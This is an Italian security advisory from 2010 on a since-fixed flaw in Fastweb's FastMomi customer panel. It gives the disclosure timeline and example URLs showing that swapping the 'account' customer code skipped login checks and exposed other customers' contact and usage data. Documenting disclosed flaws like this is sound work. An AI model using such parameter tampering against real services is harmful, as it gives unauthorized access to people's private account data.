

Fastweb Italia Information Disclosure

- [+] Segnalazione bug avvenuta il 19 Luglio 2010
- [+] Bug fixato il 25 Agosto 2010
- [+] Rilascio pubblico il 2 Settembre 2010
- [+] Autore Simone `R00T_ATI` Quatrini of IHTeam.net

I CONTATTI:

Prima mail inviata al reparto ICT Security di Fastweb italia il 19 Luglio 2010 nel quale si spiegava la potenziale pericolosità del bug e come riprodurlo.

Il 21 Luglio 2010 ricevo una risposta da parte dell'ICT Security nel quale ringraziavano per la segnalazione.

Il 25 Agosto 2010 mi accorgo che il bug è stato fixato senza ulteriori comunicazioni da parte dello staff di Fastweb Italia.

COS'È IL FASTMOMI:

FastMomi è il pannello di controllo dei clienti Fastweb. All'interno è possibile:

- Cambiare piano
- Cambiare metodo di pagamento
- Controlla i consumi
- Aggiornare recapiti
- Attivare/Disattivare IP Pubblico
- Controllare stato ordini
- Configurare il Wi-Fi della nuove centraline Fastweb

IL BUG:

Il bug sta nel fatto che, una volta acceduti alla MyFastPage (<http://www.fastweb.it/mylogin/>), il pannello di controllo utente FastMomi, non verifica più che sia stato effettuato un login e mostra quindi i dati senza verificare l'esattezza delle credenziali d'accesso.

ESEMPIO DI FUNZIONAMENTO:

Se dalla MyFastPage accedo alla sezione "Aggiornare Recapiti" (entrando così all'interno di fastmomi) posso notare che viene effettuato un redirect all'url:

```
http://fastmomi.fastweb.it/app/services/cfg-contatti/RES-Bought.php?
channel=MYFP&service=cfg-
contatti&actionid=NULL&account=[MIO_CODICE_CLIENTE]&username=&status=Bought&segm
ento=RES&checksum=[CHECKSUM_MD5]&identifcode=[MIO_IP_FASTWEB]&current=&step=NUL
L&overstep=&origin=cfg-
contatti&ip=&selcode=[MIO_SELCODE]&sapdealercode=&phone=&host=momi&style_div_sts
=&media=PC&l_ricarica=&
```

checksum = Trascurato dal sistema di controllo login.

identifcode = Trascurato dal sistema di controllo login.

Selcode = Trascurato dal sistema di controllo login.

account = Codice cliente

Per cui ERA possibile accedere ai dati di un'utenza fastweb avente codice cliente 0000000 tramite il link:

```
http://fastmomi.fastweb.it/app/services/cfg-contatti/RES-Bought.php?
channel=MYFP&service=cfg-
contatti&actionid=NULL&account=0000000&status=Bought&segmento=RES&current=&step=
NULL&overstep=&origin=cfg-
contatti&ip=&sapdealercode=&phone=&host=momi&style_div_sts=&media=PC&l_ricarica=
&
```

CONCLUSIONI:

Con lo stesso procedimento sopra citato era possibile quindi accedere anche a tutte le altre sezioni di fastmomi (vedi "Cos'è il fastmomi"), fra cui quindi il "Controlla consumi" che mostra importo aggiornato al mese corrente con dettaglio voce/internet.

Ad oggi il bug è stato fortunatamente fixato dai tecnici Fastweb. Il rilascio al pubblico di questo paper è stato volutamente slittato a qualche giorno dopo il fix per motivi più che evidenti.